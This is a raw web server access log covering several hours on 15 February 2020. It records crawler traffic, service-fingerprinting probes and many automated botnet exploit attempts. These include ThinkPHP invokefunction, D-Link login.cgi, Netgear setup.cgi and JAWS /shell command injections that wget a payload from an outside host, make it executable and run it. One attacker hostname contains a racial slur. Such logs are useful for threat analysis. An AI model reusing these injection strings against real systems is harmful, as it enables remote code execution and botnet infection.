64.227.55.76 - - [15/Feb/2020:03:09:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.223.57.49 - - [15/Feb/2020:03:10:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
70.95.63.117 - - [15/Feb/2020:03:12:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.43.223.156 - - [15/Feb/2020:03:13:32 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111.43.223.156:33413/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
87.248.150.38 - - [15/Feb/2020:03:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.1.187.122 - - [15/Feb/2020:03:15:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.75.41.229 - - [15/Feb/2020:03:17:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.75.41.229 - - [15/Feb/2020:03:17:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.173.35.29 - - [15/Feb/2020:03:19:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
27.115.124.74 - - [15/Feb/2020:03:24:27 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:37 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:37 +0100] "" 501 315 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:37 +0100] "stats" 501 320 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:37 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:40 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:40 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:40 +0100] "Subscribe" 501 324 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:40 +0100] "" 501 315 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:41 +0100] "HELP" 501 319 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:41 +0100] "Query" 501 320 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:41 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:41 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:41 +0100] "#ST" 501 318 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:42 +0100] "ver" 501 318 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:42 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:42 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:42 +0100] "\x05\x04" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:42 +0100] "NXSH-5.6.7" 501 325 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:42 +0100] "HELP" 501 319 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:42 +0100] "show info" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:42 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:42 +0100] "0\x84" 501 317 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:43 +0100] "CONNECT01 v09" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:43 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:43 +0100] "*1" 501 317 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:43 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:43 +0100] "TSH " 501 318 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:43 +0100] "\x01default" 501 323 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:43 +0100] "init" 501 319 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:43 +0100] "<" 501 319 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:43 +0100] "EHLO" 501 319 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:43 +0100] "get_info" 501 323 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:43 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
27.115.124.10 - - [15/Feb/2020:03:24:43 +0100] "serverstatus" 501 327 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:43 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
27.115.124.74 - - [15/Feb/2020:03:24:44 +0100] "\x124" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:44 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:24:43 +0100] "< NTP/1.2 >" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:43 +0100] "GET SERVER INFO" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:03:24:43 +0100] "< NTP/1.1 >" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:38 +0100] "< NTP/1.0 >" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:41 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:03:24:37 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
27.115.124.9 - - [15/Feb/2020:03:25:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
78.186.137.112 - - [15/Feb/2020:03:30:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
67.164.70.59 - - [15/Feb/2020:03:32:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
94.229.237.204 - - [15/Feb/2020:03:32:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
58.84.34.170 - - [15/Feb/2020:03:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
84.52.64.154 - - [15/Feb/2020:03:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
190.48.111.89 - - [15/Feb/2020:03:42:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.170.113.38 - - [15/Feb/2020:03:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.19.42.89 - - [15/Feb/2020:03:45:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.69.205.158 - - [15/Feb/2020:03:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.163.39.99 - - [15/Feb/2020:03:53:11 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
185.29.254.131 - - [15/Feb/2020:03:54:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
139.162.106.181 - - [15/Feb/2020:03:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
27.216.245.215 - - [15/Feb/2020:04:02:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
54.36.149.60 - - [15/Feb/2020:04:07:24 +0100] "GET /seiten/kontakt.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
164.160.226.122 - - [15/Feb/2020:04:08:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
66.249.73.26 - - [15/Feb/2020:04:13:58 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.25 - - [15/Feb/2020:04:13:58 +0100] "GET /seiten/service.htm HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
176.163.131.89 - - [15/Feb/2020:04:23:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.219.237.106 - - [15/Feb/2020:04:24:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
124.43.8.138 - - [15/Feb/2020:04:29:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.146.76 - - [15/Feb/2020:04:39:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.100.12.210 - - [15/Feb/2020:04:41:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
36.67.198.7 - - [15/Feb/2020:04:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
43.230.197.234 - - [15/Feb/2020:04:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
82.69.121.178 - - [15/Feb/2020:04:45:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.226.25.182 - - [15/Feb/2020:04:48:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
178.124.149.24 - - [15/Feb/2020:04:49:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.113.197.251 - - [15/Feb/2020:04:53:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:04:53:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:04:53:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:04:53:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:04:53:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
141.237.12.64 - - [15/Feb/2020:04:58:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
118.173.103.227 - - [15/Feb/2020:05:01:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.182.136.3 - - [15/Feb/2020:05:02:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
76.69.94.118 - - [15/Feb/2020:05:02:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
115.55.154.112 - - [15/Feb/2020:05:05:54 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://115.55.154.112:58949/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
172.104.210.59 - - [15/Feb/2020:05:06:16 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
172.104.210.59 - - [15/Feb/2020:05:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
172.104.210.59 - - [15/Feb/2020:05:06:27 +0100] "GET /scripts/app.js HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
172.104.210.59 - - [15/Feb/2020:05:06:27 +0100] "GET /umbraco/ HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
114.46.133.72 - - [15/Feb/2020:05:09:19 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
220.121.0.69 - - [15/Feb/2020:05:11:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [15/Feb/2020:05:11:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:05:11:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [15/Feb/2020:05:11:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:05:11:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [15/Feb/2020:05:11:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:05:11:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [15/Feb/2020:05:11:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [15/Feb/2020:05:12:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.68.115.54 - - [15/Feb/2020:05:12:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.164.35.72 - - [15/Feb/2020:05:12:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
51.15.191.231 - - [15/Feb/2020:05:15:44 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
51.15.191.231 - - [15/Feb/2020:05:16:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
190.130.50.19 - - [15/Feb/2020:05:24:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
198.108.66.240 - - [15/Feb/2020:05:28:03 +0100] "\x16\x03\x01" 501 318 "-" "-"
103.212.90.227 - - [15/Feb/2020:05:30:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.85.1.25 - - [15/Feb/2020:05:35:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.85.91.19 - - [15/Feb/2020:05:42:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.74.137.174 - - [15/Feb/2020:05:42:50 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:51 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:52 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:54 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:54 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:55 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:55 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:56 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.74.137.174 - - [15/Feb/2020:05:42:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.105.27.14 - - [15/Feb/2020:05:45:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:05:45:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:05:45:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:05:45:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:05:46:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.114.192.235 - - [15/Feb/2020:05:46:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
190.178.115.245 - - [15/Feb/2020:05:49:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.72.152.76 - - [15/Feb/2020:05:58:25 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
138.197.73.68 - - [15/Feb/2020:05:59:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.212.89.95 - - [15/Feb/2020:06:05:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.229.10.47 - - [15/Feb/2020:06:14:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.7.103 - - [15/Feb/2020:06:18:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.173.103.227 - - [15/Feb/2020:06:19:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.152.182.70 - - [15/Feb/2020:06:22:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.153.58.115 - - [15/Feb/2020:06:22:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:23:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:23:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.109.154.100 - - [15/Feb/2020:06:25:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
